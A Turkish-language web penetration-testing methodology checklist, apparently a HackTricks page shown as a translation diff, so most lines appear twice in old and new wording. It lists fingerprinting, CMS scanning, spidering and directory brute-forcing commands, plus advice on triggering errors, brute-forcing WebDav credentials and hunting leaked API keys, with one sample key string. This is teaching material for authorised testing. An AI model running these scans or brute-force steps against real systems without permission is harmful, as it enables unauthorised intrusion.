- [ ] Çalıştırılması gereken herhangi bir **specialised scanner** var mı (ör. wpscan)?
- [ ] **General purposes scanners** çalıştırın. Ne bulacaklarını ya da ilginç bilgi elde edip etmeyeceklerini asla bilemezsiniz.
- [ ] Başlangıç kontrolleriyle başlayın: **robots**, **sitemap**, **404** hata ve **SSL/TLS scan** (eğer HTTPS).
- [ ] Web sayfasını **spidering** ile tarayın: Kullanılan tüm olası **files, folders** ve **parameters being used**i bulun. Ayrıca **special findings** için kontrol edin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin spidering ile taranmalıdır._
- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **files** ve **directories** aramak için brute force yapmayı deneyin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced edilmelidir._
- [ ] **Backups checking**: Keşfedilen dosyaların **backups**'ını bulup bulamayacağınızı, yaygın yedek uzantılarını ekleyerek test edin.
- [ ] **Brute-Force parameters**: Gizli parametreleri bulmaya çalışın.
- [ ] Tüm olası **endpoints** ve **user input** kabul eden noktaları belirledikten sonra, bunlarla ilişkili her türlü **vulnerabilities** için kontrol edin.
- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
## Sunucu Versiyonu (Vulnerable?)
## Sunucu Sürümü (Etkilenebilir mi?)
### Identify
### Tanımlama
Çalışmakta olan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\
Yanıtın **HTTP headers and cookies** çok faydalı olabilir; kullanılan **technologies** ve/veya **version**'ı **identify** etmek için yardımcı olur. **Nmap scan** sunucu versiyonunu belirleyebilir, ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
Çalışan sunucunun sürümü için bilinen zafiyetler olup olmadığını kontrol edin.\
HTTP yanıtının başlıkları ve çerezleri, kullanılan teknolojileri ve/veya sürümü **tanımlamak** için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
```
Ara **için** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Herhangi bir WAF var mı**
### **Herhangi bir WAF olup olmadığını kontrol et**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web teknoloji ipuçları
### Web teknoloji hileleri
Kullanılan farklı ve iyi bilinen **teknolojilerde** zafiyet **bulmak** için bazı **ipuçları**:
Kullanılan farklı ve iyi bilinen **technologies** içinde **vulnerabilities** bulmaya yönelik bazı **tricks**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,28 +102,27 @@ Kullanılan farklı ve iyi bilinen **teknolojilerde** zafiyet **bulmak** için b
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen teknoloji veya başka bir **tech/platform** kullanıyorsa, İnternette yeni ipuçları aramayı unutmayın (ve bana haber verin!).
_Dikkate alın ki **same domain** farklı **different technologies** kullanıyor olabilir farklı **ports**, **folders** ve **subdomains** üzerinde._\
Eğer **web application** herhangi bir iyi bilinen **tech/platform listed before** veya **any other** kullanıyorsa, yeni **tricks** için **search on the Internet** yapmayı unutmayın (ve bana haber verin!).
### Kaynak Kodu İncelemesi
### Kaynak Kod İncelemesi
Eğer uygulamanın **source code**'u **github**'da erişilebilir durumdaysa, uygulama üzerinde kendi başınıza bir **White box test** gerçekleştirmenin yanı sıra mevcut **Black-Box testing** için faydalı olabilecek **bazı bilgiler** bulunabilir:
- Web üzerinden erişilebilir şekilde bir **Change-log or Readme or Version** dosyası ya da sürüm bilgisi içeren başka bir şey var mı?
- Credentials nasıl ve nerede saklanıyor? Erişilebilir bir **file** içinde usernames or passwords var mı?
- Passwords plain text mi, encrypted mi yoksa hangi hashing algorithm kullanılıyor?
- Bir şeyleri şifrelemek için herhangi bir master key kullanılıyor mu? Hangi algorithm kullanılıyor?
- Herhangi bir vulnerability'yi kullanarak bu dosyalardan herhangi birine erişebiliyor musunuz?
- Github'da (solved and not solved) **issues** içinde ilginç bilgiler var mı? Veya **commit history**'de (belki eski bir commit içinde tanıtılmış bir password)?
Eğer uygulamanın **source code**'u **github** üzerinde erişilebilir durumdaysa, uygulama üzerinde kendi **your own a White box test**'inizi gerçekleştirmek dışında, mevcut **Black-Box testing** için **useful** olabilecek **some information** olabilir:
- Web üzerinden erişilebilir bir **Change-log or Readme or Version** dosyası ya da **version info accessible** içeren başka bir şey var mı?
- **credentials** nasıl ve nerede saklanıyor? Erişilebilir bir **file** içinde credentials (kullanıcı adları veya parolalar) var mı?
- **passwords** **plain text** halinde mi, **encrypted** mi yoksa hangi **hashing algorithm** kullanılıyor?
- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi **algorithm** kullanılıyor?
- Bu dosyalardan herhangi birine bir zafiyet kullanarak **access any of these files** sağlanabilir mi?
- **github**'ta (çözülmüş veya çözülmemiş) **issues** içinde herhangi bir **interesting information in the github** var mı? Veya **commit history** içinde (belki eski bir commit içine yerleştirilmiş bir **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### Otomatik tarayıcılar
#### General purpose automatic scanners
#### Genel amaçlı otomatik tarayıcılar
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,14 +134,14 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS tarayıcıları
#### CMS scanners
Bir CMS kullanılıyorsa **tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur:
Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki işe yarar bir şey bulunur:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerindeki güvenlik sorunları için. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerindeki güvenlik sorunlarını tarar. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -150,15 +149,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, istemci tarafından kullanılan web sunucusuna ilişkin bazı bilgilere (veri sağlandıysa) ve test sırasında akılda tutulması gereken bazı ipuçlarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner çalıştırmışsınızdır.
> Bu noktada (eğer herhangi bir veri verildiyse) müşteri tarafından kullanılan web sunucusuna dair bazı bilgilere ve test sırasında akılda tutulması gereken bazı ipuçlarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bir scanner çalıştırmış bile olabilirsiniz.
## Adım adım Web Uygulaması Keşfi
## Adım adım Web Uygulama Keşfi
> Bu noktadan itibaren web uygulaması ile etkileşime girmeye başlayacağız.
> Bu noktadan itibaren web uygulaması ile etkileşime geçmeye başlayacağız.
### İlk kontroller
### Başlangıç kontrolleri
**Varsayılan sayfalar (ilginç bilgiler içerebilen):**
**İlgi çekici bilgi içeren varsayılan sayfalar:**
- /robots.txt
- /sitemap.xml
@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
**Hataları zorlamak**
**Hata tetikleme**
Web sunucuları garip veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin ifşasına** yol açabilir.
Web sunucuları onlara garip veri gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **vulnerabilities** açabilir veya **sensitive information** ifşa edebilir.
- Erişin **sahte sayfalara** like /whatever_fake.php (.aspx,.html,.etc)
- **"\[]", "]]", ve "\[["** öğelerini **cookie değerlerine** ve **parametre** değerlerine ekleyin; hatalara yol açabilir
- Hata üretmek için girdi olarak **`/~randomthing/%s`**'i URL'in **sonuna** verin
- PATCH, DEBUG gibi **farklı HTTP yöntemleri** deneyin veya FAKE gibi yanlış bir tane deneyin
- /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin
- Hata oluşturmak için **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[["** ekleyin
- URL'nin **sonuna** **`/~randomthing/%s`** girerek hata oluşturun
- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav**'ın **etkin** olduğunu ama root klasöründe **dosya yükleme** için yeterli izniniz olmadığını görürseniz şunları deneyin:
Eğer **WebDav** etkinse fakat kök dizinde **dosya yükleme** için yeterli izniniz yoksa şunları deneyin:
- Kimlik bilgileri için **Brute Force** yapın
- **WebDav** aracılığıyla web sayfası içinde bulunan diğer klasörlere **dosya yükleyin**. Başka klasörlerde dosya yükleme izniniz olabilir.
- **Brute Force** ile credentials
- WebDav aracılığıyla web sayfası içindeki bulunan diğer klasörlere **dosya yükleyin**. Diğer klasörlere dosya yükleme izniniz olabilir.
### **SSL/TLS zafiyetleri**
- Uygulama herhangi bir kısımda kullanıcıyı HTTPS kullanmaya zorlamıyorsa, **MitM** saldırısına açıktır
- Uygulama hassas verileri (parolalar) HTTP üzerinden **gönderiyorsa**, bu yüksek önemli bir güvenlik açığıdır.
- Uygulama hiçbir yerde kullanıcıyı **HTTPS kullanmaya zorlamıyorsa**, MitM için açıktır
- Uygulama hassas verileri (şifreler) **HTTP üzerinden gönderiyorsa**, bu yüksek önemde bir güvenlik açığıdır
Güvenlik açıklarını kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv) kullanın:
[**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanarak **vulnerabilities** için kontrol edin (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri tekrar kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -197,58 +196,58 @@ Güvenlik açıklarını kontrol etmek için [**testssl.sh**](https://github.com
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
SSL/TLS zafiyetleri hakkında bilgiler:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Test edilen uygulamadan mümkün olduğunca çok yol bulmak için bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan mümkün olduğunca çok geçiş yolu **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
Ağ içinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca çok path bulmaktır**. Bu nedenle, geçerli path'leri bulmak için web crawling ve harici kaynaklar kullanılmalıdır.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve Archive.org'u harici kaynak olarak kullanır.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com) kullanır.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org gibi harici kaynaklar kullanır.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider olmasa da faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtebilir ve meg her host üzerindeki her path'i fetch edip cevabı kaydeder.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering kabiliyetine sahip HTML spider. Ancak bakılacak olursa bakımı yapılmıyor gibi, ön-derlenmiş sürüm eski ve mevcut kod derlenmiyor.
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirseniz, meg her host üzerindeki her path'i çeker ve cevabı kaydeder.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, görünüşe göre bakımı yapılmıyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor.
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametreli URL'leri bulur ve listeler.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering kabiliyetine sahip HTML spider.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify kabiliyetleri ile JS dosyalarında yeni path'ler arayabilir. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı, LinkFinder sarmalayıcısına bakmak da faydalı olabilir.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem de gömülü javascript dosyalarından endpoint çıkarmak için. Bug hunterlar, red teamerlar, infosec uzmanları için faydalı.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan bir python 2.7 scripti; JavaScript dosyalarından relative URL'leri parse eder. AJAX isteklerini keşfetmek için kullanışlı. Bakımı görünüşe göre yapılmıyor.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, minify edilmiş çirkin dosyalardan relatif URL'leri bulup çıkarmak için şık bir regex kullanır.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birkaç araç kullanarak JS dosyalarından ilginç bilgiler toplar.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): URL'lerde parametre bulan ve listeleyen bir script.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify yetenekleri ile JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) da göz atmaya değerdir.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında endpoint çıkarmak için. Bug hunter'lar, red team'ler, infosec uzmanları için kullanışlı.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan, JavaScript dosyalarından relatif URL'leri parse eden bir python 2.7 script'i. AJAX isteklerini keşfetmede faydalı. Görünüşe göre bakımı yapılmıyor.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, minify edilmiş dosyalardan relatif URL'leri bulup çıkarmak için akıllı regex kullanır.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Çeşitli araçlar kullanarak JS dosyalarından ilginç bilgiler toplar.
- [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için yüklenen tüm url'leri yazdırır.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların birkaç seçeneğini harmanlayan content discovery aracı.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp extension.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'i verildiğinde beautified JS kodunu almanızı sağlayan araç.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmek için kullanılan araç.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link'ler keşfet (ayrıca wayback'teki cevapları indirip daha fazla link arar).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl eder (form doldurarak bile) ve ayrıca belirli regex'ler kullanarak hassas bilgileri bulur.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli bir GUI web security Crawler/Spider'dır.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, request'ten parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için custom wordlist oluşturur.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser ile yükler ve sayfayı yüklemek için çağrılan tüm url'leri yazdırır.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan content discovery aracı.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında path ve param bulmak için bir Burp extension.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile beautified JS kodunu almanızı sağlayan araç.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint keşfi yapan araç.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link keşfi (aynı zamanda wayback'teki cevapları indirip daha fazla link arar).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve belirli regexlerle hassas bilgi bulur.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web security Crawler/Spider'dır.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL, path, secret ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, istekteki parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için özel wordlist oluşturmayı sağlar.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bu iş için harika bir araç.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her link'i yazdırır.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır.
### Brute Force directories and files
Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemi** kullanarak bulunan **tüm dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yaptığınızdan emin olun (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan wordlist'in başına bulunan dizin isimlerini ekleyebilirsiniz).\
Root klasörden **brute-forcing** yapmaya başlayın ve bulunan tüm **directories** üzerinde **brute-forcing** yaptığınızdan emin olun; bunu **bu yöntemle** ve **Spidering** tarafından keşfedilen tüm dizinlerde uygulayın (bunu rekürsif olarak yapabilir ve kullanılan wordlist'in başına bulunan dizinlerin isimlerini ekleyebilirsiniz).\
Araçlar:
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Auto-signed sertifikaları ve recursive search'e izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermiyor ama** recursive search'e izin veriyor.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir, ancak **recursive** arama özelliği **yoktur**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive search destekler.**
- **Dirb** / **Dirbuster** - Kali içinde gelir, **old** (ve **slow**) ama iş görür. Otomatik imzalı sertifikalara izin verir ve rekürsif aramayı destekler. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama rekürsif aramayı destekler.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, ancak **rekürsif** arama özelliği **yoktur**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, rekürsif aramayı destekler.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicated" URL'leri silen bir araç.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp history'sinden dizin listesi oluşturmak için Burp Extension.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js import'larına dayalı olarak benzer işlevli URL'leri kaldırır.
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullandığı teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak wordlist'leri seçer.
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil, ancak bulunan URL listesi verildiğinde "çift" URL'leri siler.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp history'sinden farklı sayfaların dizin listesini oluşturmak için Burp Extension.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına dayalı olarak fonksiyonellikleri duplicate olan URL'leri kaldırır.
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak wordlist'leri seçer.
**Önerilen sözlükler:**
@ -269,41 +268,41 @@ Araçlar:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, her zaman o dizinin Brute-Force edilmesi gerektiğini unutmayın._
_Not: Yeni bir dizin spidering veya brute-forcing sırasında keşfedildiğinde, o dizin mutlaka Brute-Forced edilmelidir._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulun; bu link'ler takeover'a açık olabilir.
- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_" ...). Yaygın yedek isimlendirme varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** araçlarını** kullanabilirsiniz.
- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri arayın.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içinde takeover'lara açık olabilecek kırık linkleri bulur.
- **File Backups**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek isimlendirmesi için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz.
- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **hidden functionality** bulabilirsiniz.
- Eğer **CTF** oynuyorsanız, "yaygın" bir numara, sayfanın **sağ** tarafına (kaynak kodunu tarayıcıyla açtığınızda veriyi görmemeniz için **yüzlerce** boşluk kullanarak) yorum içinde **bilgi gizlemektir**. Diğer bir olasılık, birkaç yeni satır kullanıp web sayfasının **altında** bir yorum içinde bilgi gizlemektir.
- **API keys**: Herhangi bir API key bulursanız, farklı platformların API key'lerini nasıl kullanacağınıza dair kılavuzlar vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: AIza ile başlayan bir API key (ör: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, key'in hangi apilere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili mi diye bakın. Bu durumda, [**bucket'ın permissions**'ını kontrol edin](buckets/index.html).
- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **gizli fonksiyonellik** bulabilirsiniz.
- Eğer **CTF** oynuyorsanız, yaygın bir hile sayfanın **sağ tarafına** (tarayıcıyla kaynak kodunu açtığınızda görünmeyecek şekilde) yüzlerce boşluk kullanarak **bilgi saklamak** veya birkaç yeni satır ile sayfanın **altına** yorum içinde bilgi **gizlemek** olabilir.
